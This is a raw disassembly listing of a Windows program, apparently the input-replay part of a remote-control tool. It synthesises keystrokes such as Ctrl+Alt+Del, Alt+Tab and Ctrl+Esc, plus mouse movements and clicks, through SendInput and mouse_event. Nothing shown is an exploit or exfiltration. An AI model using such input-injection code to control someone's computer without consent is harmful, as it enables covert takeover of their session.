push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53e4b8]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53e4b8]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
push 0x11
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53ed78]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53ed78]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53e4b8]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53e4b8]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
push 0x11
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53ed78]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x10
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53ed78]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x10
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53e4b8]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53e4b8]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
push 0x11
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53ed78]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x20
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53ed78]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x20
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53e4b8]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53e4b8]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
push 0x11
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53ed78]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53ed78]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x2e
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53ed78]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x2e
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53e4b8]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53e4b8]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53e4b8]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
mov eax, dword [0x53e790]
cmp dword [eax], 0
jle 0x4e123d
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 6
ja case.0x4df632.10
jmp dword [eax*4 + 0x4e0e6b]
mov dword [ebp - 0x50], 0x12
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d4f70
push eax
mov eax, dword [0x53e3fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 9
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d4f70
push eax
mov eax, dword [0x53e3fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 9
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d4f70
push eax
mov eax, dword [0x53e674]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x12
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d4f70
push eax
mov eax, dword [0x53e674]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
mov dword [ebp - 0x50], 0x12
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d4f70
push eax
mov eax, dword [0x53e3fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x1b
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d4f70
push eax
mov eax, dword [0x53e3fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x1b
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d4f70
push eax
mov eax, dword [0x53e674]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x12
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d4f70
push eax
mov eax, dword [0x53e674]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d4f70
push eax
mov eax, dword [0x53e3fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x1b
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d4f70
push eax
mov eax, dword [0x53e3fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x1b
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d4f70
push eax
mov eax, dword [0x53e674]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d4f70
push eax
mov eax, dword [0x53e674]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d4f70
push eax
mov eax, dword [0x53e3fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x10
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d4f70
push eax
mov eax, dword [0x53e3fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x10
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d4f70
push eax
mov eax, dword [0x53e674]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d4f70
push eax
mov eax, dword [0x53e674]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d4f70
push eax
mov eax, dword [0x53e3fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x20
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d4f70
push eax
mov eax, dword [0x53e3fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x20
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d4f70
push eax
mov eax, dword [0x53e674]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d4f70
push eax
mov eax, dword [0x53e674]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d4f70
push eax
mov eax, dword [0x53e3fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x12
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d4f70
push eax
mov eax, dword [0x53e3fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x2e
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d4f70
push eax
mov eax, dword [0x53e3fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x2e
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d4f70
push eax
mov eax, dword [0x53e674]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x12
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d4f70
push eax
mov eax, dword [0x53e674]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d4f70
push eax
mov eax, dword [0x53e674]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
mov dword [ebp - 0x7b0], 1
call sub.kernel32.dll_GetTickCount
mov dword [ebp - 0x7a4], eax
call sub.user32.dll_GetMessageExtraInfo
mov dword [ebp - 0x7a0], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 6
ja case.0x4df632.10
jmp dword [eax*4 + 0x4e1273]
mov word [ebp - 0x7ac], 0x12
xor eax, eax
mov dword [ebp - 0x7a8], eax
push 0x1c
lea eax, [ebp - 0x7b0]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a4]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7ac], 9
xor eax, eax
mov dword [ebp - 0x7a8], eax
push 0x1c
lea eax, [ebp - 0x7b0]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a4]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7ac], 9
mov dword [ebp - 0x7a8], 2
push 0x1c
lea eax, [ebp - 0x7b0]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a4]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7ac], 0x12
mov dword [ebp - 0x7a8], 2
push 0x1c
lea eax, [ebp - 0x7b0]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4df632.10
mov word [ebp - 0x7ac], 0x12
xor eax, eax
mov dword [ebp - 0x7a8], eax
push 0x1c
lea eax, [ebp - 0x7b0]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a4]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7ac], 0x1b
xor eax, eax
mov dword [ebp - 0x7a8], eax
push 0x1c
lea eax, [ebp - 0x7b0]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a4]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7ac], 0x1b
mov dword [ebp - 0x7a8], 2
push 0x1c
lea eax, [ebp - 0x7b0]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a4]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7ac], 0x12
mov dword [ebp - 0x7a8], 2
push 0x1c
lea eax, [ebp - 0x7b0]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4df632.10
mov word [ebp - 0x7ac], 0x11
xor eax, eax
mov dword [ebp - 0x7a8], eax
push 0x1c
lea eax, [ebp - 0x7b0]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a4]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7ac], 0x1b
xor eax, eax
mov dword [ebp - 0x7a8], eax
push 0x1c
lea eax, [ebp - 0x7b0]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a4]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7ac], 0x1b
mov dword [ebp - 0x7a8], 2
push 0x1c
lea eax, [ebp - 0x7b0]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a4]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7ac], 0x11
mov dword [ebp - 0x7a8], 2
push 0x1c
lea eax, [ebp - 0x7b0]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4df632.10
mov word [ebp - 0x7ac], 0x11
xor eax, eax
mov dword [ebp - 0x7a8], eax
push 0x1c
lea eax, [ebp - 0x7b0]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a4]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7ac], 0x10
xor eax, eax
mov dword [ebp - 0x7a8], eax
push 0x1c
lea eax, [ebp - 0x7b0]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a4]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7ac], 0x10
mov dword [ebp - 0x7a8], 2
push 0x1c
lea eax, [ebp - 0x7b0]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a4]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7ac], 0x11
mov dword [ebp - 0x7a8], 2
push 0x1c
lea eax, [ebp - 0x7b0]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4df632.10
mov word [ebp - 0x7ac], 0x11
xor eax, eax
mov dword [ebp - 0x7a8], eax
push 0x1c
lea eax, [ebp - 0x7b0]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a4]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7ac], 0x20
xor eax, eax
mov dword [ebp - 0x7a8], eax
push 0x1c
lea eax, [ebp - 0x7b0]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a4]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7ac], 0x20
mov dword [ebp - 0x7a8], 2
push 0x1c
lea eax, [ebp - 0x7b0]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a4]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7ac], 0x11
mov dword [ebp - 0x7a8], 2
push 0x1c
lea eax, [ebp - 0x7b0]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4df632.10
mov word [ebp - 0x7ac], 0x11
xor eax, eax
mov dword [ebp - 0x7a8], eax
push 0x1c
lea eax, [ebp - 0x7b0]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a4]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7ac], 0x12
xor eax, eax
mov dword [ebp - 0x7a8], eax
push 0x1c
lea eax, [ebp - 0x7b0]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a4]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7ac], 0x2e
xor eax, eax
mov dword [ebp - 0x7a8], eax
push 0x1c
lea eax, [ebp - 0x7b0]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a4]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7ac], 0x2e
mov dword [ebp - 0x7a8], 2
push 0x1c
lea eax, [ebp - 0x7b0]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a4]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7ac], 0x12
mov dword [ebp - 0x7a8], 2
push 0x1c
lea eax, [ebp - 0x7b0]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a4]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7ac], 0x11
mov dword [ebp - 0x7a8], 2
push 0x1c
lea eax, [ebp - 0x7b0]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4df632.10
cmp dword [0x546428], 0x200000
jg case.0x4df632.10
cmp byte [0x53d4b0], 1
jb case.0x4df632.10
cmp dword [0x5476b0], 0xb259
ja case.0x4df632.10
mov eax, dword [0x53d32c]
mov dword [0x53d334], eax
mov eax, dword [0x53d330]
mov dword [0x53d338], eax
mov ebx, 0x8000
mov eax, dword [ebp - 0x2c]
add eax, 0x20
mov dword [0x547884], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 0x200
jg 0x4e17d9
je 0x4e1834
cmp eax, 0xa4
jg 0x4e17c1
je 0x4e1852
sub eax, 0x84
je 0x4e1839
sub eax, 0x1c
je 0x4e185c
dec eax
je 0x4e183e
dec eax
je 0x4e1843
jmp case.0x4e17e7.515
sub eax, 0xa5
je 0x4e1857
sub eax, 2
je 0x4e1848
dec eax
je 0x4e184d
jmp case.0x4e17e7.515
add eax, 0xfffffdff
cmp eax, 9
ja case.0x4e17e7.515
jmp dword [eax*4 + 0x4e17ee]
or ebx, 2
jmp case.0x4e17e7.515
or ebx, 4
jmp case.0x4e17e7.515
or ebx, 0x20
jmp case.0x4e17e7.515
or ebx, 0x40
jmp case.0x4e17e7.515
or ebx, 8
jmp case.0x4e17e7.515
or ebx, 0x10
jmp case.0x4e17e7.515
or ebx, 1
jmp case.0x4e17e7.515
or ebx, 1
jmp case.0x4e17e7.515
or ebx, 2
jmp case.0x4e17e7.515
or ebx, 4
jmp case.0x4e17e7.515
or ebx, 0x20
jmp case.0x4e17e7.515
or ebx, 0x40
jmp case.0x4e17e7.515
or ebx, 8
jmp case.0x4e17e7.515
or ebx, 0x10
jmp case.0x4e17e7.515
or ebx, 1
jmp case.0x4e17e7.515
or ebx, 0x800
mov eax, dword [0x547884]
mov edx, dword [0x54782c]
add dword [eax], edx
mov eax, dword [0x547884]
mov edx, dword [0x547830]
add dword [eax + 4], edx
mov eax, dword [0x547884]
mov eax, dword [eax]
mov edx, eax
shl eax, 0x10
sub eax, edx
mov edx, dword [0x53daa4]
sub edx, dword [0x53da9c]
dec edx
mov ecx, edx
cdq
idiv ecx
mov esi, eax
mov eax, dword [0x547884]
mov eax, dword [eax + 4]
mov edx, eax
shl eax, 0x10
sub eax, edx
mov edx, dword [0x53daa8]
sub edx, dword [0x53daa0]
dec edx
mov ecx, edx
cdq
idiv ecx
mov edi, eax
cmp dword [0x53d490], 0x60
je 0x4e18e1
mov eax, esi
shl eax, 5
lea eax, [eax + eax*2]
cdq
idiv dword [0x53d490]
mov esi, eax
cmp dword [0x53d494], 0x60
je 0x4e18fb
mov eax, edi
shl eax, 5
lea eax, [eax + eax*2]
cdq
idiv dword [0x53d494]
mov edi, eax
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0x20a
jne 0x4e1914
mov eax, dword [0x547884]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x4c], eax
jmp 0x4e1919
xor eax, eax
mov dword [ebp - 0x4c], eax
mov eax, dword [0x53e694]
cmp dword [eax], 0
jne 0x4e1928
call fcn.004d381c
mov eax, dword [0x53e58c]
cmp dword [eax], 0
jne 0x4e1937
call fcn.004d4b3c
mov eax, dword [0x53e790]
cmp dword [eax], 0
jne 0x4e1946
call fcn.004d5298
mov eax, dword [0x53e694]
cmp dword [eax], 0
jle 0x4e1a82
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0x20a
je 0x4e197a
mov eax, dword [0x547884]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x547884]
mov eax, dword [eax]
push eax
mov eax, dword [0x53e550]
mov eax, dword [eax]
call eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 0x201
jg 0x4e19be
je case.0x4e1997.161
add eax, 0xffffff5f
cmp eax, 7
ja case.0x4df632.10
jmp dword [eax*4 + 0x4e199e]
add eax, 0xfffffdfe
cmp eax, 8
ja case.0x4df632.10
jmp dword [eax*4 + 0x4e19d3]
push 1
mov eax, dword [0x53eaa8]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
push 2
mov eax, dword [0x53eaa8]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
push 0x10
mov eax, dword [0x53eaa8]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
push 0x20
mov eax, dword [0x53eaa8]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
push 4
mov eax, dword [0x53eaa8]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
push 8
mov eax, dword [0x53eaa8]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
mov eax, dword [0x547884]
cmp dword [eax + 0x10], 0
jle 0x4e1a72
push 1
mov eax, dword [0x53e670]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
push 2
mov eax, dword [0x53e670]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
mov eax, dword [0x53e58c]
cmp dword [eax], 0
jle 0x4e1bf3
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0x20a
je 0x4e1b21
mov eax, dword [0x53d49c]
mov edx, dword [eax]
call dword [edx + 0x2c]
cmp eax, dword [0x5478f0]
jne 0x4e1ac4
mov eax, dword [0x53d49c]
mov edx, dword [eax]
call dword [edx + 0x20]
cmp eax, dword [0x5478f4]
je 0x4e1aff
mov eax, dword [0x53d49c]
mov edx, dword [eax]
call dword [edx + 0x2c]
mov dword [0x5478f0], eax
mov eax, dword [0x53d49c]
mov edx, dword [eax]
call dword [edx + 0x20]
mov dword [0x5478f4], eax
mov eax, dword [0x5478f4]
push eax
mov eax, dword [0x5478f0]
push eax
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53e8bc]
mov eax, dword [eax]
call eax
mov eax, dword [0x547884]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x547884]
mov eax, dword [eax]
push eax
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53e914]
mov eax, dword [eax]
call eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 0x201
jg 0x4e1b47
je 0x4e1b60
sub eax, 0xa1
je 0x4e1b60
dec eax
je 0x4e1b76
sub eax, 2
je 0x4e1b8c
dec eax
je 0x4e1ba2
jmp case.0x4df632.10
sub eax, 0x202
je 0x4e1b76
sub eax, 2
je 0x4e1b8c
dec eax
je 0x4e1ba2
sub eax, 5
je 0x4e1bb8
jmp case.0x4df632.10
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53ea18]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53ec7c]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53e4b0]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53e75c]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
mov eax, dword [0x547884]
cmp dword [eax + 0x10], 0
jle 0x4e1bdb
push 1
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53ed68]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
push 0xffffffffffffffff
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53ed68]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
mov eax, dword [0x53e790]
cmp dword [eax], 0
jle 0x4e1cc9
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0x20a
je 0x4e1c27
mov eax, dword [0x547884]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x547884]
mov eax, dword [eax]
push eax
mov eax, dword [0x53eaa4]
mov eax, dword [eax]
call eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 0x201
jg 0x4e1c4d
je 0x4e1c66
sub eax, 0xa1
je 0x4e1c66
dec eax
je 0x4e1c74
sub eax, 2
je 0x4e1c82
dec eax
je 0x4e1c90
jmp case.0x4df632.10
sub eax, 0x202
je 0x4e1c74
sub eax, 2
je 0x4e1c82
dec eax
je 0x4e1c90
sub eax, 5
je 0x4e1c9e
jmp case.0x4df632.10
mov eax, dword [0x53ebc8]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
mov eax, dword [0x53ee48]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
mov eax, dword [0x53e66c]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
mov eax, dword [0x53e968]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
mov eax, dword [0x547884]
cmp dword [eax + 0x10], 0
jle 0x4e1cb9
push 1
mov eax, dword [0x53e3e8]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
push 0xffffffffffffffff
mov eax, dword [0x53e3e8]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0x200
je 0x4e1ceb
push 0
push 0
lea eax, [edi + 1]
push eax
lea eax, [esi + 1]
push eax
push 0x8001
call sub.user32.dll_mouse_event
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0x20a
jne 0x4e1d10
push 0
mov eax, dword [ebp - 0x4c]
push eax
inc edi
push edi
inc esi
push esi
push 0x8800
call sub.user32.dll_mouse_event
jmp case.0x4df632.10
xor eax, eax
mov dword [ebp - 0x7b0], eax
mov dword [ebp - 0x7a0], ebx
inc esi
mov dword [ebp - 0x7ac], esi
inc edi
mov dword [ebp - 0x7a8], edi
xor eax, eax
mov dword [ebp - 0x7a4], eax
call sub.kernel32.dll_GetTickCount
mov dword [ebp - 0x79c], eax
call sub.user32.dll_GetMessageExtraInfo
mov dword [ebp - 0x798], eax
push 0x1c
lea eax, [ebp - 0x7b0]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4df632.10
cmp dword [0x53d390], 0x521044e
jb case.0x4df632.10
mov dl, 1
mov eax, dword [0x414ba8]
call fcn.0040377c
mov dword [ebp - 0x24], eax
lea edx, [ebp - 0x920]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f50
mov edx, dword [ebp - 0x920]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x924]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x924]
call fcn.00409490
mov dword [0x54761c], eax
mov eax, dword [ebp - 0x24]
call fcn.004037ac
mov eax, dword [0x54761c]
add eax, 0x5b
cmp eax, dword [0x5476b0]
jae 0x4e1e03
push 0
push 0x3e8
mov eax, dword [0x53d32c]
mov edx, dword [0x53d330]
call fcn.00405968
and eax, 1
xor edx, edx
cmp edx, 0
jne 0x4e1e03
cmp eax, 0
je case.0x4df632.10
mov eax, dword [ebp - 0x2c]
mov ax, word [eax + 0x1c]
and ax, 0xffff
mov word [0x547654], ax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x1c]
shr eax, 0x10
and eax, 0x1f
mov ebx, dword [eax*4 + 0x53d934]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x1c]
shr eax, 0x18
and al, 1
mov byte [0x5476b4], al
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x1c]
shr eax, 0x19
and al, 1
mov byte [ebp - 0xf9], al
cmp byte [ebp - 0xf9], 1
jne 0x4e1e58
mov byte [0x53d464], 0xff
mov byte [0x53d4b0], 0
xor eax, eax
mov dword [0x5478f0], eax
jmp 0x4e1e74
call fcn.004de9b8
push 1
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x53e9a4]
cmp dword [eax], 0
jg 0x4e1e68
cmp byte [0x53d3a8], 0
je 0x4e1eb8
push 0
call sub.user32.dll_GetDC
mov esi, eax
test esi, esi
je 0x4e1eb8
push 0x58
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [0x53d490], eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [0x53d494], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
jmp 0x4e1ecc
mov dword [0x53d490], 0x60
mov dword [0x53d494], 0x60
mov eax, dword [ebp - 0x2c]
cmp byte [eax + 0xc], 0x87
setne al
neg al
sbb eax, eax
mov byte [0x53d478], al
cmp byte [0x53d478], 0
je 0x4e1f9a
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x547674], eax
